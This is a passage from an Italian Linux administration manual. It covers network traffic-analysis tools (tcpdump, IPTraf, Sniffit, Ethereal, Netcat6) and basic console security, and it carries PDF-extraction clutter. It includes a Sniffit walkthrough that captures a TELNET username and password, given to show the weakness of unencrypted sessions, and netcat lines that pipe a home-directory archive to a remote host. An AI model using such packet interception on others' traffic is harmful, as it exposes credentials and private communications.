• # tcpdump host dinkel.brot.dg and not host roggen.brot.dg

Analizza tutto il traffico intrattenuto dadinkel.brot.dg e tutti gli altri nodi, aesclusione diroggen.brot.dg .

• # tcpdump gateway router.brot.dg

Analizza tutto il traffico che attraversa ilnodorouter.brot.dg senza essere diretto, oprovenire da quello.

190.2.3 Controllo del traffico PPP

Vale la pena di annotare un’idea molto semplice per controllare in modo approssimativo il traf-fico di una connessione PPP. In questo caso, si pensa a una connessione PPP attraverso lineacommutata, intesa come la connessione di un utente che accede a un ISP per collegarsi aIn-ternet. L’esigenza potrebbe nascere nel momento in cui si dovesse sospettare che il modem stiatrasmettendo all’esterno dati che non dovrebbe, magari per opera di un software manomesso adarte per questo scopo.

In un sistema GNU/Linux tipico ci sono diverse console virtuali inutilizzate, che potrebbero es-sere adibite al monitoraggio continuo del contenuto dei pacchetti che transitano attraverso l’inter-faccia‘ppp0 ’ . Per farlo basta usareTcpdump, con l’aiuto di un filtro come‘strings ’ , come è giàstato descritto. In questo caso, il tutto potrebbe essere avviato dalloscript ‘ /etc/ppp/ip-up ’(direttamente o attraverso un altroscript specifico). I comandi necessari sono quelli seguenti,supponendo di voler utilizzare la dodicesima console virtuale (‘ /dev/tty12 ’):

#!/bin/sh#...#.../bin/chown root.tty /dev/tty12/bin/chmod 0600 /dev/tty12/usr/bin/nohup /usr/sbin/tcpdump -l -i ppp0 -s 0 -w - \

| /usr/bin/strings > /dev/tty12 &

Si può osservare che si modificano i permessi di accesso al file di dispositivo‘ /dev/tty12 ’ perevitare che altri possano leggere il traffico attraverso il terminale stesso.

In condizioni normali, quando l’interfaccia di rete‘ppp0 ’ scompare a seguito dellaconclusione della connessione, anche l’eseguibile‘ tcpdump ’ termina di funzionare.

Volendo complicare le cose, si può anche fare in modo che i dati vengano memorizzati in unregistro, per poter fare una verifica successiva in modo più dettagliato:

/usr/bin/nohup /usr/sbin/tcpdump -l -i ppp0 -s 0 -w - \| /usr/bin/tee /var/log/ppp0.log| /usr/bin/strings > /dev/tty12 &

Come si vede, il file‘ /var/log/ppp0.log ’ viene memorizzato prima di essere ridotto da‘strings ’ .

Page 101: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2085

190.3 IPTraf

IPTraf 3 è unprogramma di servizio per l’analisi del traffico IPv4 (in parte anche di quello nonIP), che transita attraverso la rete fisica a cui ci si trova connessi.IPTraf è specializzato neltracciamento delle connessioni e nella produzione di statistiche, senza addentrarsi nella letturadel contenuto dei pacchetti.

IPTraf è fondamentalmente un programma interattivo, che utilizza una console virtuale o unterminale a caratteri, organizzato attraverso deimenù. La figura190.1mostra ilmenù generaledi IPTraf.

Figura 190.1. Menù generale di IPTraf..---------------------------------------.| IP traffic monitor || General interface statistics || Detailed interface statistics || TCP/UDP service monitor || Ethernet station monitor || TCP display filters || Other protocol filters || Options || Exit |‘---------------------------------------’

IPTraf può essere configurato attraverso la funzioneOptions che appare nelmenù generale.Inoltre, può annotare le informazioni sul traffico all’interno di un registro. Il file di configurazionee quello delle registrazioni vengono creati all’interno della directory‘ /var/lib/iptraf/ ’ , chedeve essere presente.

Perché possa essere analizzato tutto il traffico della propria rete fisica, è necessario che siaabilitata la modalità promiscua, come descritto nella sezione dedicata alla configurazione diIPTraf.

In questa sezione vengono descritti solo alcuni aspetti diIPTraf. Per il resto si può consultare ladocumentazione che accompagna questo programma.

Tabella 190.6. IPTraf funziona fondamentalmente in modo interattivo, tuttavia può es-sere avviato con delle opzioni in modo da raggiungere immediatamente la funzionedesiderata.

Sintassi di avvio Descrizione

iptrafAvviando‘ iptraf ’ senza opzioni si ottiene ilmenù dal qualescegliere il tipo di funzione desiderata.

iptraf -i

Con l’opzione ‘ -i ’ si ottiene immediatamente la selezionedella funzioneIP traffic monitor , ovvero il monitor deltraffico IP in tempo reale.

iptraf -g

Con l’opzione ‘ -g ’ si ottiene immediatamente la selezionedella funzioneGeneral interface statistics , ovvero lestatistiche generali delle interfacce presenti.

iptraf -d interfaccia

Con l’opzione ‘ -d ’ e l’aggiunta dell’indicazione di un’in-terfaccia di rete, si ottiene immediatamente la selezionedella funzioneDetailed interface statistics , ovvero lestatistiche dettagliate di quell’interfaccia.

iptraf -s interfaccia

Con l’opzione‘ -s ’ e l’aggiunta dell’indicazione di un’inter-faccia di rete, si ottiene immediatamente la selezione dellafunzioneTCP/UDP service monitor , ovvero il monitor deiservizi TCP e UDP di quell’interfaccia.

3IPTraf GNU GPL

Page 102: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2086 Strumenti per il controllo e l’analisi del traffico IP

Sintassi di avvio Descrizione

iptraf -e

Con l’opzione ‘ -e ’ si ottiene immediatamente la selezionedella funzioneEthernet station monitor , ovvero il mo-nitor delle stazioniEthernet (riguarda solo le interfacceEthernet).

La configurazione diIPTraf può essere definita a livelli differenti: la configurazione generale equella che riguarda i filtri di selezione dei pacchetti da elaborare. La configurazione generale èdefinibile attraverso la funzioneOptions del menù generale, da cui si accede a quanto si vedenella figura190.2, che rappresenta anche l’impostazione predefinita.

Figura 190.2. Definizione delle opzioni generali di IPTraf.

.-----------------------.. Enabled Options -----------.| Reverse DNS lookups || || Promiscuous operation || || Color || Color || Logging || || TCP timeout... || || Logging interval... || TCP timeout: 15 mins || Additional port... || Log interval: 60 mins || Delete port... |‘----------------------------’| Exit menu |‘-----------------------’

Le opzioni si attivano e si disattivano premendo il tasto[ Invio ]; quando una voce è terminata da trepunti di sospensione (‘ ... ’), selezionandola si ottiene una finestra a scomparsa attraverso la qualefornire altre indicazioni. Lo stato delle opzioni è indicato dalla finestra destra:Enabled Options .

Opzione di configurazione Descrizione

‘Reverse DNS lookups ’

Se attivata, fa in modo di risolvere gli indirizzi IP in nomi didominio corrispondenti. L’attivazione di questa modalità puòprovocare dei ritardi nel funzionamento diIPTraf, per cui èconsigliabile limitarne l’uso. Questa opzione è disattivata inmodo predefinito.

‘Promiscuous operation ’

La modalità promiscua consente aIPTraf si analizzare tutto iltraffico della rete fisica, non solo quello che interferisce conil nodo in cui si utilizza. Questa opzione è disattivata in modopredefinito.

‘Color ’

IPTraf è in grado di determinare automaticamente se il tipodi terminale utilizzato consente la visualizzazione dei colori omeno. Tuttavia, è possibile disabilitare la visualizzazione deicolori attraverso questa opzione.

‘Logging ’

IPTraf può annotare le informazioni sul traffico all’interno diun file di registrazioni, precisamente‘ /var/lib/iptraf/

iptraf.log ’ . Questa opzione è disabilitata in modo prede-finito dal momento che il registro può diventare rapidamentemolto grande.

La funzionalità di controllo del traffico IP rappresenta l’utilizzo più comune diIPTraf. Selezio-nando la voce corrispondente dalmenù generale, oppure avviando‘ iptraf ’ con l’opzione‘ -i ’ ,si ottiene qualcosa di simile a quanto mostrato nella figura190.3, dove in particolare appareanche lo stato di una connessione TELNET tra 192.168.1.1 e 192.168.1.2.

Page 103: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2087

Figura 190.3. Monitor di traffico IP con una connessione TELNET attiva.

. Source -------------- Destination ----------- Packets --- Bytes Flags Iface .|/192.168.1.2:1050 192.168.1.1:23 40 1701 --A- eth0 ||\192.168.1.1:23 192.168.1.2:1050 31 1435 -PA- eth0 || || || || || || || || || || || |‘ TCP: 1 entries --------------------------------------------------- Active ---’.------------------------------------------------------------------------------.| ARP from 0000b46507cb to ffffffffffff on eth0 || ARP from 0080adc8a981 to 0000b46507cb on eth0 || || || |‘ Top --------- Elapsed time: 0:01 ------------------------------------------’IP: 6150 TCP: 3136 UDP: 3014 ICMP: 0 Non-IP: 2Up/Dn/PgUp/PgDn-scrl actv win W-chg actv win M-more TCP info X/Ctrl+X-Exit

Il monitor di traffico IP si compone di due finestre: una superiore per le connessioni TCP euna inferiore per gli altri tipi. Una delle due finestre è quella attiva, che si distingue perchéappare la parola‘Active ’ sul bordo nella parte bassa, al lato destro. All’interno della finestraattiva è possibile fare scorrere le informazioni con i tasti[ freccia su] e [ freccia giù]; per cambiare lafinestra attiva basta utilizzare il tasto[ w ], come suggerisce il promemoria che appare nell’ultimariga dello schermo. Per uscire da questa funzionalità basta il tasto[ x ], oppure la combinazione[ Ctrl+x ].

Non è possibile conoscere quale sia la parte che ha originato la connessione TCP, salvo intuirlodalle convenzioni sull’uso delle porte; nella finestra relativa, le connessioni TCP vengono sempremostrate con una coppia di voci: una per ogni direzione della connessione TCP.

Il significato delle varie colonne di informazione che appaiono nella finestra delle connessioniTCP dovrebbe essere abbastanza intuitivo, a parte la colonna‘Flags ’ , all’interno della qualepossono essere annotate lettere e parole chiave differenti. Il significato di queste viene descrittodi seguito.

Simbolo Descrizione

‘S’L’ultimo pacchetto individuato è stato di tipo SYN, sincroniz-zazione, che si usa in preparazione di una connessione.

‘A’L’ultimo pacchetto individuato è stato di tipo ACK, che si usaper confermare la ricezione precedente di un pacchetto.

‘P’L’ultimo pacchetto individuato è stato di tipo PSH,push, chesi usa per richiedere lo spostamento dei dati all’inizio dellacoda di ricezione.

‘U’L’ultimo pacchetto individuato è stato di tipo URG, che si usaper rappresentare dati urgenti.

‘RESET’La connessione è stata azzerata dalnodo di origine delladirezione a cui si riferisce.

‘DONE’La connessione ha terminato l’invio di dati nella direzione acui si riferisce e ha inviato il pacchetto FIN, ma non è ancorastata confermata la conclusione dall’altronodo.

‘CLOSED’L’invio precedente del pacchetto FIN è stato confermatodall’altra parte.

Page 104: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2088 Strumenti per il controllo e l’analisi del traffico IP

Se si verifica una presenza inusuale di pacchetti SYN, può trattarsi di un tentativo di attacco,definitoSYN flood, che letteralmente significa: «inondazione di pacchetti SYN».

190.4 Sniffit

Sniffit 4 è un programma per l’analisi del traffico di rete, che può essere usato per individuarele connessioni TCP in corso, oppure per conservare una sorta di registro delle comunicazioniavvenute, contenente le comunicazioni stesse.

Naturalmente, la lettura del contenuto dei pacchetti può essere utile a livello didattico, oppureper individuare dei problemi nell’utilizzo della rete, mentre diventa una pratica illegale quandociò sconfina nel diritto alla riservatezza delle persone.

La sintassi per l’avvio diSniffit è quella seguente, tenendo conto che almeno un’opzione delprimo gruppo è obbligatoria.

sniffit -v | -s nodo| -t nodo| -i | -I | -c file_di_configurazione ... ←→altre_opzioni

Segue la descrizione di alcune opzioni.

Opzione Descrizione-v Mostra la versione e non fa altro.

-s nodo

-t nodo

Limitano l’osservazione, rispettivamente, alnodo di originee alnodo di destinazione indicati. Queste opzioni riguardanosolo per il traffico TCP e UDP. L’indirizzo, se espresso in for-ma numerica, può essere parziale e completato con il simbolo‘@’ .

-i

-I

Attiva un funzionamento interattivo, dove‘ -I ’ mostra piùinformazioni.

-c fileConsente di indicare un file contenente una serie di direttive,attraverso le quali si stabilisce il comportamento diSniffit.

-F interfaccia Consente di specificare il nome dell’interfaccia di rete a cuifare riferimento.

-d

-a

Mostra i pacchetti sullo schermo, rispettivamente in esadeci-male e in ASCII

-P IP| TCP| UDP| ICMP Consente di selezionare un tipo di protocollo, tra quelliindicati. Questa opzione è incompatibile con‘ -i ’ o ‘ -I ’ .

-p n_portaPer quanto riguarda i protocolli TCP e UDP, consente dilimitare l’attenzione ai pacchetti riferiti alla porta indicata.

-l n_byteDefinisce la quantità massima di byte da accumulare per ognipacchetto. Il valore zero serve a non porre limiti.

Qui viene mostrato soltanto il funzionamento interattivo, con l’opzione‘ -I ’ , all’interno del qualeè possibile anche inserirsi in uno dei flussi TCP per leggerne i dati:

# sniffit -I -F eth0

In questo modo si ottiene il funzionamento interattivo, specificando espressamente l’interfaccia(in questo caso si tratta di‘eth0 ’ . Quello che si vede nella figura seguente è soltanto il traffico

4Sniffit software libero con licenza speciale

Page 105: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2089

TCP attivo:Figura 190.4. Sniffit durante il funzionamento interattivo con l’opzione ‘-I ’.

.--Sniffit 0.3.7 Beta----------------------------------------------------------.| 192.168.1.1 32796 -> 192.168.1.2 23 : TELNET || 192.168.1.2 23 -> 192.168.1.1 32796 : TELNET || || || || || || || || || || || || || || || || |‘------------------------------------------------------------------------------’.--Sniffit 0.3.7 Beta----------------------------------------------------------.| Source IP : All Source PORT : All || Destination IP: All Destination PORT: All |‘------------------------------------------------------------------------------’Masks: F1-Source IP F2-Dest. IP F3-Source Port F4-Dest. Port

Nel riquadro delle connessioni TCP, appare un cursore, con cui è possibile selezionare, all’inter-no di una connessione, uno dei due flussi (andata o ritorno). Una volta collocato il cursore sopraun flusso di interesse, basta premere[ Invio ] per ottenere una finestra in cui appare il contenuto diquella comunicazione:

Figura 190.5. Intercettazione di una copia del flusso di dati.

.--Sniffit 0.3.7 Beta----------------------------------------------------------.| 192.168.1.1 32796 -> 192.168.1.2 23 : TELNET || 192.168.1.2 23 -> 192.168.1.1 32796 : TELNET || .-----------------------------------------------. || |tizio..baci47.. | || | | || | | || | | || | | || | | || | | || | | || |-----------------------------------------------| || | 192.168.1.1 32796 -> 192.168.1.2 23| || ‘-----------------------------------------------’ || || || || |‘------------------------------------------------------------------------------’.--Sniffit 0.3.7 Beta----------------------------------------------------------.| Source IP : All Source PORT : All || Destination IP: All Destination PORT: All |‘------------------------------------------------------------------------------’Masks: F1-Source IP F2-Dest. IP F3-Source Port F4-Dest. Port

Come si può intuire dalla figura, in questo caso si intercetta il flusso dei dati trasmessi da uncliente TELNET, proprio nella fase dell’autenticazione: l’utente‘ tizio ’ , con laparola d’ordine‘baci47 ’ .5

5Questo esempio viene mostrato proprio per far comprendere quanto vulnerabile sia un terminale remoto che non

Page 106: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2090 Strumenti per il controllo e l’analisi del traffico IP

utilizzi una comunicazione cifrata.

Page 107: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2091

190.5 Ethereal

Ethereal6 è un programma per l’analisi del traffico di rete, fino al livello due del modelloISO-OSI (collegamento dati), riuscendo a riconoscere all’interno di questo una serie di protocolli allivello tre e quattro del modelloISO-OSI (rete). In particolare, individua correttamente moltiprotocolli collegati a IPv4 e IPv6.

Ethereal è pensato principalmente per accumulare il traffico intercettato, allo scopo di consentireun’analisi dettagliata di questo in un momento successivo; nello stesso modo è predisposto peraccedere a informazioni di questo genere accumulate da programmi diversi, così come è in gradodi esportare i propri dati in formati alternativi.

Ethereal consente anche una visualizzazione in tempo reale del traffico in corso, in modo analogoa quanto faIPTraf, con la differenza che le informazioni fornite sono molto più chiare. In questosenso,Ethereal è un ottimo strumento didattico per lo studio delle reti.

Ethereal viene usato normalmente attraverso il sistema grafico X e deve funzionare con i privilegidell’utente‘ root ’ , per poter accedere direttamente all’interfaccia di rete da sondare. L’eseguibileda avviare è‘ethereal ’ :

ethereal [ opzioni]

Qui si intende mostrare il funzionamento diEthereal in modo interattivo, senza l’uso di opzioninella riga di comando. Eventualmente si può consultare lapagina di manualeethereal(1).

Figura 190.6. Ethereal avviato senza opzioni, rimane in attesa prima di iniziare la suaanalisi.

6Ethereal GNU GPL

Page 108: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2092 Strumenti per il controllo e l’analisi del traffico IP

Una volta avviato l’eseguibile‘ethereal ’ , per ottenere un’analisi del traffico in tempo reale puòessere necessario controllare la configurazione. Si trova la vocePreferences nelmenùEdit :

Figura 190.7. La finestra di configurazione di Ethereal per quanto riguarda la selezionedei pacchetti catturati.

La figura mostra in particolare la selezione della modalità promiscua, con cui si intercettano tuttii pacchetti che l’interfaccia di rete selezionata è in grado di osservare.

Una volta definita la configurazione e selezionata l’interfaccia di rete di interesse, si può passarealla cattura dei pacchetti, selezionando la voceStart dal menùCapture . Si ottiene una finestrada cui è possibile aggiustare le opzioni relative alla cattura:

Page 109: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2093

Figura 190.8. La finestra che appare quando si chiede di iniziare la cattura deipacchetti.

Durante la cattura dei pacchetti viene visualizzata una statistica sull’avanzamento di questo la-voro, dove appare un pulsante grafico che consente di fermare l’accumulo dei dati. Se era sta-ta richiesta la visualizzazione in tempo reale delle informazioni relative alla cattura, anche ilcontenuto dei pacchetti viene visualizzato nella finestra principale diEthereal.

Page 110: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2094 Strumenti per il controllo e l’analisi del traffico IP

Figura 190.9. Statistiche visualizzate durante la cattura dei pacchetti.

La finestra principale diEthereal si divide in tre parti: in quella superiore appare l’elenco di pac-chetti intercettati con una descrizione essenziale del loro contenuto; selezionando un pacchettonella parte superiore, in quella centrale appare un elenco ad albero di componenti del pacchettostesso; selezionando una voce nell’elenco del riquadro centrale, appare in quello inferiore l’evi-denziamento della porzione di pacchetto che lo riguarda. La figura seguente mostra la porzioneIP di un pacchetto relativo a una comunicazione TELNET:

Page 111: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2095

Figura 190.10. Porzione IP di un pacchetto relativo a una comunicazione TELNET.

Nella figura successiva, si analizzano i dati TCP dello stesso pacchetto, mostrando in particolaredove si colloca l’informazione sulla porta di destinazione:

Page 112: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2096 Strumenti per il controllo e l’analisi del traffico IP

Figura 190.11. Porta di destinazione TCP di un pacchetto relativo a unacomunicazione TELNET.

190.6 IPlogger

IPlogger7 è un pacchetto di programmi contenente alcuni demoni che si occupano di annotarele connessioni all’interno delregistro del sistema. Allo stato attuale si tratta solo di‘ tcplog ’ edi ‘ icmplog ’ , in grado rispettivamente di annotare le connessioni TCP e l’utilizzo del protocol-lo ICMP. Non è niente di eccezionale, ma qualcosa di utile nel caso non si abbiano strumentimigliori.

Non c’è molto da aggiungere sull’utilizzo di questi due demoni: basta fare in modo che laproce-dura di inizializzazione del sistema provveda ad avviarli e loro si arrangiano. Non occorre alcunaconfigurazione.

È probabile che questo pacchetto abbia uno sviluppo futuro, aggiungendo varie forme diidentificazione di attacchi noti.

7IPlogger GNU GPL

Page 113: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2097

190.7 Netcat6

Netcat68 è un programma creato allo scopo di leggere e scrivere dati attraverso delle connessionidi rete TCP o UDP. Si tratta di uno strumento generico, vagamente simile a uncliente TELNET,con la differenza che può funzionare anche con il protocollo UDP. Le potenzialità di questoprogramma sono notevoli, ma qui verranno mostrate solo alcune delle sue caratteristiche; per ilresto si può leggere la sua documentazione, che per essere compresa richiede comunque un po’di esperienza nella gestione delle reti TCP/IP.

Netcat6 può funzionare, quasi indifferentemente, comecliente oservente di una connessione;per questo è uno strumento ottimale per la verifica del funzionamento delle connessioni di rete enon solo. In un certo senso, l’eseguibile‘nc6 ’ , ovvero ciò che costituisceNetcat6, è paragonabileidealmente al programma‘dd ’ , con la differenza che invece di fare riferimento a dei dispositivi,si lavora con la rete a livello di trasporto TCP e UDP: il quarto nel modelloISO-OSI.

L’eseguibile‘nc6 ’ è tutto ciò che componeNetcat6. Questo programma instaura una connessio-ne, in qualità dicliente o diservente, utilizzando il protocollo TCP oppure UDP, trasmettendociò che ottiene dallostandard input e restituendo attraverso lostandard output ciò che ricevedall’altro capo.

nc6 [ opzioni] host porta

nc6 -l -p porta [ host [ porta]]

L’uso di Netcat6 differisce fondamentalmente a seconda del fatto che si voglia raggiungere unservizio in ascolto presso unnodo, a una porta determinata, oppure che si intenda avviarlo perrestare in ascolto in attesa di una richiesta di connessione. Nel secondo caso si usa l’opzione‘ -l ’(Listen).

Il funzionamento di questo programma si comprende meglio attraverso degli esempi, ma per ilmomento viene mostrato il significato di alcune opzioni.

Opzione Descrizione

-4 Forza l’utilizzo di IPv4.-6 Forza l’utilizzo di IPv6.

-lFa in modo cheNetcat6 venga avviato per restare in ascoltodi una certa porta (specificata attraverso l’opzione‘ -p ’ ).

-p portaPermette di specificare la porta a cuiNetcat6 deve prestareascolto. Si usa assieme all’opzione‘ -l ’ .

-n Fa in modo che si eviti di tentare di risolvere gli indirizzi IPin nomi di dominio.

-s indirizzo_ip_locale

Definisce esplicitamente l’indirizzo IP locale. Perché ciò pos-sa essere fatto, occorre che questo indirizzo sia abbinato effet-tivamente a un’interfaccia di rete, eventualmente anche solocome alias.

-uUtilizza il protocollo UDP. Senza questa opzione, viene usatoil protocollo TCP in modo predefinito.

L’esempio seguente, serve a instaurare una connessione TCP con ilservente SMTPdinkel.brot.dg :

$ nc6 dinkel.brot.dg smtp

Un uso interessante diNetcat6 è quello con il quale si ottiene un trasferimento dati senza bisognodi unashell remota (‘ rsh ’ per esempio). Per questo, da una parte occorre avviare l’eseguibile

8Netcat6 GNU GPL

Page 114: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2098 Strumenti per il controllo e l’analisi del traffico IP

‘nc6 ’ in ascolto di una certa porta TCP, mentre dall’altra si utilizza sempre‘nc6 ’ in modo checerchi di contattare quella porta di quelnodo. Il canale che si crea può essere sfruttato per questoscopo.

• $ nc6 -l -p 1234 | tar xzpvf -

In questo modo,Netcat6 viene avviato in ascolto della porta 1234, che si presume sia libera.Il suostandard output viene passato a‘ tar ’ che deve occuparsi di estrarne il contenuto nelladirectory corrente. In pratica, si presume cheNetcat6 debba ricevere dalla porta 1234 unfile corrispondente a un archivio tar+gzip e che questo debba essere riprodotto localmente.

• $ tar czf - /home/tizio | nc6 dinkel.brot.dg 1234

Questo comando è la controparte dell’esempio mostrato prima: viene archiviata la directory‘ /home/tizio/ ’ e passata all’eseguibile‘nc6 ’ attraverso unapipeline. Evidentemente,dinkel.brot.dg è il nodo all’interno del quale deve essere riprodotta tale directory.

Netcat6 può essere usato per ridirigere una connessione TCP, per esempio attraverso unfi-rewall. Gli esempi seguenti si riferiscono aInetd, pertanto si tratta di direttive del file‘ /etc/

inetd.conf ’ .

www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc6 roggen.brot.dg 80

In questo caso, le richieste TCP per la porta‘www’ (ovvero 80), sono ridirette attraversoNetcat6verso ilnodoroggen.brot.dg alla stessa porta.

www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc6 roggen.brot.dg 1234

Questa è solo una piccola variante dell’esempio precedente, in cui si presume che il veroserventeHTTP si trovi sempre nelnodoroggen.brot.dg , ma sia in ascolto della porta 1234.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 115: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 191

Misure di sicurezza per l’elaboratore personalesenza reteAnche quando l’elaboratore non è connesso a una rete, potrebbe essere vulnerabile per il solo fat-to di essere accessibile fisicamente da parte di altre persone. In questo capitolo vengono raccoltesolo alcune note al riguardo.

191.1 Avvio e riavvio

Il primo punto debole di un elaboratore che può essere raggiunto fisicamente da un intruso, stanella possibilità di essere avviato, o riavviato, in modo da poterne controllare il funzionamento.In pratica, se si esclude la possibilità del furto del disco fisso (che comunque non è poi tantoremota), bisogna impedire che si possa riavviare l’elaboratore attraverso un dischetto o un CD-ROM, perché in questo modo si potrebbe prendere il controllo della macchina e accedere ai daticome si vuole. Questo si impedisce a livello di firmware (il BIOS), definendo unaparola d’ordineda inserire ogni volta che si avvia l’elaboratore.

Oltre a questa soluzione che riguarda l’hardware, si potrebbe intervenire ulteriormente anche sulprogramma che si occupa di avviare ilkernel. Nel caso diLILO si può aggiungere la direttiva

password= parola_d’ordine

con la quale questaparola d’ordine viene chiesta ogni volta che si avvia. Eventualmente, si puòaggiungere la direttiva

restricted

per fare in modo che questaparola d’ordine venga richiesta solo quando si aggiunge un comandodi avvio. Evidentemente, se si interviene in questo modo, bisogna considerare i permessi del filedi configurazione‘ /etc/lilo.conf ’ : se si vuole evitare che gli utenti comuni possano leggerlo,basta togliere tutti i permessi per il gruppo proprietario e per tutti gli altri utenti.

# chmod 0600 /etc/lilo.conf

È bene tenere presente che la direttiva‘password ’ può essere utilizzata prima delle sezioni chesi riferiscono alle varie immagini, ovvero nella parte delle opzioni globali, oppure può esserecollocata all’interno di una di queste sezioni. Nel primo caso laparola d’ordine viene chiestasempre, mentre nel secondo viene chiesta solo alla selezione di un’immagine determinata. Lostesso ragionamento vale per la direttiva‘ restricted ’ .

Il riavvio dell’elaboratore potrebbe essere un altro problema da considerare. Di certo, se c’èun accesso fisico alla macchina da parte del solito ignoto, è difficile impedire che questo possaspegnere e riaccendere l’elaboratore, tuttavia gli può essere impedito di utilizzare la nota com-binazione[ Ctrl+Alt+Canc ]. Per questo basta modificare il file‘ /etc/inittab ’ , dove di solito sitrova unrecord simile a quello seguente:

# What to do when CTRL-ALT-DEL is pressed.ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now

Per impedirlo, basta modificare il comando abbinato alla combinazione. Si osservi la modificaseguente, in cui ilrecord originale è stato conservato all’interno di un commento:

# What to do when CTRL-ALT-DEL is pressed.#ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r nowca:12345:ctrlaltdel:/bin/echo "La combinazione Ctrl+Alt+Canc è disabilitata"

2099

Page 116: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2100 Misure di sicurezza per l’elaboratore personale senza rete

191.2 Protezione del terminale e della console

Se quello che si utilizza è un terminale seriale, o un terminale remoto, la cosa migliore da fare perproteggere il proprio lavoro mentre ci si allontana è quello di chiudere la sessione di lavoro. Se siavviano dei processisullo sfondo è bene prevedere in anticipo questo fatto, avviandoli attraverso‘nohup ’ (sezione44.4.3), oppure si può utilizzareScreen (sezione50.5).

Se si utilizza una console, dal momento che è molto probabile che si stiano utilizzando diverseconsole virtuali simultaneamente, questo tipo di soluzione potrebbe essere un po’ troppo com-plicato. In questi casi si preferisce usare un programma apposito che blocca l’accesso a tutte leconsole virtuali.

191.2.1 $ lockvc

‘ lockvc ’ 1 è un programma molto semplice che fa uso della libreriaSVGAlib e si comportacome un salva-schermo protetto da unaparola d’ordine. Il suo funzionamento è molto semplice,tanto da riassumersi nello schema sintattico seguente:

lockvc [ stars | morph| fudge | fire ]

In pratica, l’argomento composto da una parola chiave, stabilisce il tipo di effetto che si vuolevisualizzare come salva-schermo, che interviene subito bloccando tutte le console virtuali.

Quando si preme un tasto alfanumerico, il salva-schermo si interrompe e viene richiesto l’in-serimento dellaparola d’ordine dell’utente che lo ha avviato (viene specificato di quale utentesi tratta); se l’identificazione fallisce il salva-schermo riprende, altrimenti‘vlock ’ termina difunzionare.

191.2.2 $ vlock

vlock [ opzioni]

‘vlock ’ 2 è un programma ancora più semplice di‘ lockvc ’ , senza alcuna pretesa di funzionarecome salva-schermo, che si limita a bloccare la console virtuale in cui viene avviato, a meno chesia utilizzata l’opzione‘ -a ’ , con la quale vengono bloccate anche tutte le altre console virtuali.

A differenza di ‘ lockvc ’ , il funzionamento di ‘vlock ’ può essere concluso anche conl’inserimento dellaparola d’ordine dell’utente‘ root ’ .

191.3 Protezione del lavoro con X

